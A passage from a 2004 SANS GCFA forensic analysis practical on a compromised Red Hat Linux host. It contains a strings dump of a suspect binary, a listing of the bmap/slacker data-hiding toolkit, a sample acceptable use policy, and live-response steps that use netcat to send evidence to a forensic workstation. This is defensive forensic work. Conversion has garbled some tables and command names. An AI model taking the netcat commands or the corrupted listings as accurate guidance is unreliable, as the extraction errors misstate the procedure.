Software caused connection abort
Network dropped connection on reset
A directory
Protocol wrong type for socket
Cannot exec a shared library directly
Interrupted system call
Invalid or incomplete multibyte or wide character
Value too large for defined data type
Accessing a corrupted shared library
Attempting to link in too many shared libraries
Inappropriate ioctl for device
Too many levels of symbolic links
Numerical argument out of domain
Transport endpoint is already connected
ccs=
Invalid argument
MALLOC_MAX_ Arena %d:
out of memory [%d]
System byte in use bytes = %10u
Top_pad %10u
Mmap in use bytes = %10u
Total (incl. mmap): max mmap regions = %10u
max mmap bytes = %10lu
malloc: top chunk is corrupt
realloc(): invalid pointer %p!
Unknown error
malloc: using debugging hooks
FATAL: kernel too old
ANSI_X3.4-1968//TRANSLIT
syslog: unknown facility/priority: %x
out of memory [%d]
%h %e %T
[%d]/dev/console
 adelog
apic
mtrrr
clflush
sse2
ia64
i86
i586
LD_AOUT_PRELOAD
LD_AOUT_LIBRARY_PATH
LD_PRELOAD
LD_LIBRARY_PATH
LD_DEBUG_OUTPUT
LD_PROFILE
HOSTALIASES
LOCALDOMAIN
MALLOC_TRACE
TMPDIR
MALLOC_CHECK_
LD_BIND_NOW
LD_DYNAMIC_WEAK
LD_LIBRARY_PATH
LD_BIND_NOT
FATAL: kernel too old
FATAL: cannot determine library version
/proc/sys/kernel/osrelease
/usr/lib/gconv

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment –v1.4

UTF-8// ISO-10646/UTF8/
OSF00010106// ISO10646/UCS4/
ISO-10646// ISO-10646/UCS4/
UCS-4// ISO-10646/UCS4/
UNICODELITTLE// ISO10646/UCS2/
ANSI_X3.4-1986// ANSI_X3.41968//
10646-1:1993// ISO10646/UCS4/
gconv
toupper
lower
xdigit
graph
punct
POSIX
/usr/share/locale
Key fingerprint = AF19 FA27
LC_CTYPE
LC_TIME
LC_XXX
OUTPUT_CHARSET
parse error
nplurals=

=ucs2reverse->INTERNAL
=INTERNAL->ucs2
=INTERNAL->utf8
UCS-4LE//
UCS-2BE// UNICODEBIG//
CP367// ANSI_X3.4-1968//
ISO646-US// ANSI_X3.4-1968//
OSF00010102// ISO-10646/UCS2/
UCS-2// ISO-10646/UCS2/

ts.

=INTERNAL->ucs2reverse
=ascii->INTERNAL
=utf8->INTERNAL
=INTERNAL->ucs4le
=INTERNAL->ucs4
CSASCII// ANSI_X3.4-1968//
US-ASCII// ANSI_X3.4-1968//
ANSI_X3.4// ANSI_X3.4-1968//
OSF00010100// ISO10646/UCS2/
OSF05010001// ISO10646/UTF8/
UTF8// ISO-10646/UTF8/
OSF00010105// ISO10646/UCS4/
CSUCS4// ISO-10646/UCS4/
alias
OSF00010020// ANSI_X3.41968//
ISO-10646/UTF-8/ ISO10646/UTF8/
GCONV_PATH

ISO-IR-193// ISO-10646/UTF8/

fu
ll r
igh

gconv-modules
=INTERNAL->ascii
=ucs2->INTERNAL
=ucs4le->INTERNAL
=ucs4->INTERNAL
UCS-2LE// ISO-10646/UCS2/
IBM367// ANSI_X3.4-1968//
ISO-IR-6// ANSI_X3.4-1968//
OSF00010101// ISO10646/UCS2/
UCS2// ISO-10646/UCS2/

Page 88

WCHAR_T// INTERNAL
OSF00010104// ISO-10646/UCS4/

©

SA

NS

In

sti

tu

te

20

04

,A

ut

ho

rr

eta
i

ns

UCS-4BE// ISO-10646/UCS4/
module
ISO_646.IRV:1991// ANSI_X3.4
1968//
10646-1:1993/UCS4/ ISO10646/UCS4/
/usr/lib/gconv/gconvmodules.cache
gconv_init
gconv_end
tolower
upper
alpha
digit
space
print
blank
cntrl
alnum
libc
ANSI_X3.4-1968
messages
POSIX
LC_COLLATE
2F94
998D FDB5 DE3D F8B5 06E4 A169
4E46
LC_MONETARY
LC_NUMERIC
LC_MESSAGES
LC_ALL
LANGUAGE
charset=
/usr/share/locale
/locale.alias
parser stack overflow
plural=
0123456789abcdefghijklmnopqr (null)
stuvwxyz
(nil)
%m/%d/%y
0000000000000000
%Y-%m-%d
%H:%M
%I:%M:%S %p
%H:%M:%S
/etc/localtime
Universal
%[^0-9,+-]
%hu:%hu:%hu
M%hu.%hu.%hu%n
/usr/share/zoneinfo
TZDIR
posixrules
/proc/self/cwd
/proc
/etc/mtab
/etc/fstab
proc
/cpuinfo
processor
/meminfo
MemTotal: %ld kB
MemFree: %ld kB
/lib/
/usr/lib/
ORIGIN
PLATFORM
cannot allocate name record
system search path
cannot stat shared object
cannot read file data
cannot map zero-fill pages
cannot create searchlist
search path=
(%s from file
(%s)
file too short
%s)
invalid ELF header
ELF file OS ABI invalid
ELF file ABI version invalid
internal error
trying file=%s
file=%s; needed by %s
find library=%s; searching
RPATH
RUNPATH
cannot create cache for
cannot create RUNPATH/RPATH
cannot create search path

© SANS Institute 2004,

As part of GIAC practical repository.

Author retains full rights.


search path
copy
 Elf load command
Elf file data encoding not
can not change memory
protection
dynamic: 0x%0*lx base:
0x%0*lx size: 0x0*2x
can not allocate memory for
program header
entry: 0x%0*lx phdr:
0x%0*lx phnum: %*u
Elf file data encoding not
Elf file version does not
match current one
cannot open shared object
file
cannot create shared object
descriptor
failed to map segment from
shared object
Elf file's phentsize not the
expected size
AT_HWCAP:
search cache=%s
Undefined symbol:

binding file %s to %s: %s
symbol ' %s'
with link time reference
normal
DYNAMIC LINKER BUG!!!
error while loading shared
libraries
gconv_trans_context
gconv_trans_end
LC_TELEPHONE
LC_PAPER
LANG
^[yY]
%a %b %e %H:%M:%S %Z %Y
December
November
September
August
June
April
February
January
Friday
Thursday
Tuesday
Monday
%p%t%m%f
%a%N%f%N%d%N%b%N%e%h%e
%r%N%C%hz%T%N%c%N
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
+45 3122-6543
Keld@dkuug.dk
C/o Keld Simonsen, Skt.
Kobenhavn V

ISO/IEC 14652 i18n FDCC-set

IJKLIMNOPQRSTUVWXYZ[^_`abcdefghijklmnopqrstuvwxyz{|}~]
ABCDEFGHIJKLMNOPQRSTUVWXYZ\-\+/0123456789:;<>?@ABCD
EFGHIJKLMNOPQRSTUVWXYZ\[\]^_`abcdefhijklmnopqrstuvwxyz{|}~
 UD;\s
 uYD?e
)[
 !|n

@SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Error Message</th>
</tr>
</thead>
<tbody>
<tr>
<td>U^h6LU3</td>
</tr>
<tr>
<td>'._Djz</td>
</tr>
<tr>
<td>=t\j</td>
</tr>
<tr>
<td>=u8Q)+</td>
</tr>
<tr>
<td>];#o</td>
</tr>
<tr>
<td>!{};;b</td>
</tr>
<tr>
<td>{fG5</td>
</tr>
<tr>
<td>0123456789ABCDEFGHJKLMNOPQRSTUVWXYZ</td>
</tr>
<tr>
<td>%s %s %s %s %d %d .profile</td>
</tr>
<tr>
<td>%s: cannot open file: %s</td>
</tr>
<tr>
<td>%s: cannot map file: %s</td>
</tr>
<tr>
<td>Out of memory while initializing profiler</td>
</tr>
<tr>
<td>cannot extend global scope</td>
</tr>
<tr>
<td>cannot create scope list</td>
</tr>
<tr>
<td>invalid mode for dlopen()</td>
</tr>
<tr>
<td>empty dynamic string token substitution</td>
</tr>
<tr>
<td>opening file=%s; opencount == %u</td>
</tr>
<tr>
<td>closing file=%s; opencount == %u</td>
</tr>
<tr>
<td>calling fini: %s</td>
</tr>
<tr>
<td>cannot make segment writable for relocation</td>
</tr>
<tr>
<td>%s: profiler found no PLTREL in object %s</td>
</tr>
<tr>
<td>unexpected reloc type 0x</td>
</tr>
<tr>
<td>cannot load auxiliary `%s' because of empty dynamic string token substitution</td>
</tr>
<tr>
<td>cannot allocate dependency list</td>
</tr>
<tr>
<td>calling init: %s</td>
</tr>
<tr>
<td>no version information available (required by weak version `</td>
</tr>
<tr>
<td>unable to allocate symbol search list</td>
</tr>
<tr>
<td>calling preinit: %s</td>
</tr>
<tr>
<td>Filters not supported with LD_TRACE_PRELINKING</td>
</tr>
<tr>
<td>checking for version `%s' i: file %s requested by file %s unsupported version</td>
</tr>
<tr>
<td>weak version `</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# ll -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r--r-- 1 root wheel 10364 May 29 2000 bclump.c
-rw-r--r-- 1 root wheel 506 Jul 15 2003 bclump-involve.sgml
-rw-r--r-- 1 root wheel 30824 Jul 15 2003 bclump.o
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks
-rw-r--r-- 1 root wheel 6616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 487476 Jul 16 2003 bmap
-rw-r--r-- 1 root wheel 13030 May 15 2000 bmap.c
-rw-r--r-- 1 root wheel 36376 Jul 15 2003 bmap.o
-rw-r--r-- 1 root wheel 15603 Jul 15 2003 bmap.sgml
-rw-r--r-- 1 root wheel 12811 May 29 2000 bmap.sgml.m4
-drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rw-r--r-- 1 root wheel 824 May 15 2000 bmap.spec
-rw-r--r-- 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 487476 Jul 15 2003 bmap.strip.0715
-rwxr-xr-x 1 root wheel 487476 Oct 18 2003 bmap.striped
-rw-r--r-- 1 root wheel 17159 Jul 15 2003 bmap.tex
-rw-r--r-- 1 root wheel 266 Jul 15 2003 config.h
-rw-r--r-- 1 root wheel 18008 Mar 24 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rw-r--r-- 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rw-r--r-- 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rw-r--r-- 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rw-r--r-- 1 root wheel 0 Oct 17 2003 file_slack2
-drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rw-r--r-- 1 root wheel 913 Feb 14 2000 index.html
-rw-r--r-- 1 root wheel 8546 Apr 11 2000 libbmap.c
-rw-r--r-- 1 root wheel 36464 Jul 15 2003 libbmap.o
-rw-r--r-- 1 root wheel 1322 Apr 14 2000 LICENSE
-rw-r--r-- 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rw-r--r-- 1 root wheel 546815 Oct 16 2003 lostfile1
-rw-r--r-- 1 root wheel 0 Oct 17 2003 lostfilebmap.out
-rw-r--r-- 1 root wheel 101375 Oct 16 2003 lostfile2
-rw-r--r-- 1 root wheel 2392 Oct 17 2003 Makefile
-drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
-drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rw-r--r-- 1 root wheel 54948 Oct 18 2003 prog.strings
-rw-r--r-- 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
-rw-r--r-- 1 root wheel 484074 Jul 15 2003 slacker-involve.sgml
-rw-r--r-- 1 root wheel 128 Apr 17 2000 slacker.c
-rw-r--r-- 1 root wheel 1029 Jul 15 2003 slacker-involve.sgml
-rwxr-xr-x 1 root wheel 5517 Mar 8 2000 slacker-modules.c
Kevin Miller - Sans GCFA Assignment – v1.4
Page 92

-bmap-1.0.20/bmap-slack:
total 204
-rw-r--r-- 1 root wheel 2022 Oct 17 2003 slacker-out
-rw-r--r-- 1 root wheel 5341 Feb 13 2000 Sound-HOWTO-1.html
-rw-r--r-- 1 root wheel 3849 Feb 13 2000 Sound-HOWTO-2.html
-rw-r--r-- 1 root wheel 12397 Feb 13 2000 Sound-HOWTO-3.html
-rw-r--r-- 1 root wheel 18167 Feb 13 2000 Sound-HOWTO-4.html
-rw-r--r-- 1 root wheel 1556 Feb 13 2000 Sound-HOWTO-5.html
-rw-r--r-- 1 root wheel 30341 Feb 13 2000 Sound-HOWTO-6.html
-rw-r--r-- 1 root wheel 5527 Feb 13 2000 Sound-HOWTO-7.html
-rw-r--r-- 1 root wheel 6170 Feb 13 2000 Sound-HOWTO.html
-bmap-1.0.20/html.tar.gz
-rw-r--r-- 1 root wheel 92160 Oct 17 2003 Sound-HOWTO-
-bmap-1.0.20/html.tar.gz-slack.out
-rw-r--r-- 1 root wheel 1829 Oct 17 2003 Sound-HOWTO-
bmap-1.0.20/include:
total 8
-rw-r--r-- 1 root wheel 1032 Mar 24 2000 bmap.h
-rw-r--r-- 1 root wheel 699 Mar 24 2000 slacker.h
-bmap-1.0.20/man:
total 4
drwxrwxr-x 2 root wheel 4096 Oct 16 2003 man2
-bmap-1.0.20/man/man2:
total 4
-rw-r--r-- 1 root wheel 1870 Mar 24 2000 libbmap.2
-bmap-1.0.20/mft:
total 236
-rw-r--r-- 1 root wheel 17983 Apr 13 2000 COPYING
-rw-r--r-- 1 root wheel 9672 Apr 11 2000 helper.c
-rw-r--r-- 1 root wheel 26520 Jul 15 2003 helper.o
drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rw-r--r-- 1 root wheel 78443 Jul 15 2003 libmft.a
-rw-r--r-- 1 root wheel 8202 Apr 25 2000 log.c
-rw-r--r-- 1 root wheel 30228 Jul 15 2003 log.o
-rw-r--r-- 1 root wheel 810 Apr 13 2000 Makefile
-rw-r--r-- 1 root wheel 98 Jul 15 2003 mft_config.h
-rw-r--r-- 1 root wheel 7905 Mar 24 2000 option.c
-rw-r--r-- 1 root wheel 23560 Jul 15 2003 option.o
-rw-r--r-- 1 root wheel 871 Apr 25 2000 README
-bmap-1.0.20/mft/include:
total 20
-rw-r--r-- 1 root wheel 304 Apr 16 2000 helper.h
-rw-r--r-- 1 root wheel 572 Mar 8 2000 info.h
-rw-r--r-- 1 root wheel 2258 Apr 25 2000 log.h
-rw-r--r-- 1 root wheel 436 Mar 8 2000 mft.h
-rw-r--r-- 1 root wheel 2955 Mar 24 2000 option.h
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details.

Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership
1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.
2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.
3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.
4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

---

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information
1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.
2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user level passwords should be changed every six months.
3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.
4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.
5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the "Laptop Security Tips".
6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.
7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.
8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use
The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.
4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.
5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinging floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee’s host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions

<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spam</td>
<td>Unauthorized and/or unsolicited electronic mass mailings.</td>
</tr>
</tbody>
</table>

7.0 Revision History"
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

nc    ls    date    w    netstat
lsf    ps    lsmod    ifconfig    md5sum
sh

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

```
root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

The command “ls -l” is used to identify the library files required;

```
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

```
Forensic Workstation commands
- /mnt/floppy/sh
nc -l -v -n -p 1111 > startime.txt
nc -l -v -n -p 1111 > /mnt/floppy/w
```

```
Victim machine commands
/mnt/floppy/date | /mnt/floppy/sh| /mnt/floppy/nc 192.168.1.120
1111
nc –l –v –n –p 1111 > /mnt/floppy/w |
```
### Table 5 Live response command summary

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>w.txt</code></td>
<td><code>/mnt/floppy/nc 192.168.1.120 1111</code></td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-sockets.txt</code></td>
<td>`/mnt/floppy/netstat -anp</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; lsol.txt</code></td>
<td>`/mnt/floppy/lsol</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ps.txt</code></td>
<td>`/mnt/floppy/ps -auxw</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; lsmod.txt</code></td>
<td>`/mnt/floppy/lsmod</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-routes.txt</code></td>
<td>`/mnt/floppy/netstat -anr</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ifconfig.txt</code></td>
<td>`/mnt/floppy/ifconfig -a</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; proc-filelist.txt</code></td>
<td>`/mnt/floppy/ls -al /proc</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; stoptime.txt</code></td>
<td>`/mnt/floppy/date</td>
</tr>
<tr>
<td><code>md5sum -b *.txt &gt; live-response-june30.md5</code></td>
<td><code>-</code></td>
</tr>
</tbody>
</table>

The live response starts with the execution of a trusted shell using `'/mnt/floppy/sh'`. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation `nc`⁴ is used to wait for the data stream from the victim and write it to the indicated output files. The `nc` options are listed below:

- `-l` sets up netcat to listen for an incoming connection.
- `-v` is verbose mode, connection information will be displayed.
- `-n` do not do host or port name lookups.
- `-p <port>` identifies the port netcat will listen on.

The victim machine commands are listed below:

- `date` establishes the start date for the live response.
- `w` identifies who is logged onto the victim machine.
- `netstat -anp` shows the internet sockets that are open on the victim.
- `ls` command helps to identify backdoors and strange network services.
- `ps -auxw` provides the current running processes.
- `lsmod` shows what kernel modules are loaded.

---


• ‘netstat -anr’ displays the routing table.
• ‘ifconfig -a’ shows the configuration of the network interface(s).
• ‘ls -al /proc’ was missing ‘-R’. Without the ‘-R’ switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
• ‘date’ establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5 [16]) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsif.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weir
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsif is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>Device</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>m</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/libc.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>0</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>0</td>
<td>/dev/null</td>
</tr>
</tbody>
</table>

```
<table>
<thead>
<tr>
<th>Operation</th>
<th>Owner</th>
<th>Group</th>
<th>Mode</th>
<th>Size</th>
<th>Date</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>chmod</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>/var/log/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>/bin</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>30102</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/tmp/s/nfsd</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>/bin</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>9u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/dev/hdx1</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>10u</td>
<td>sock</td>
<td>0.0</td>
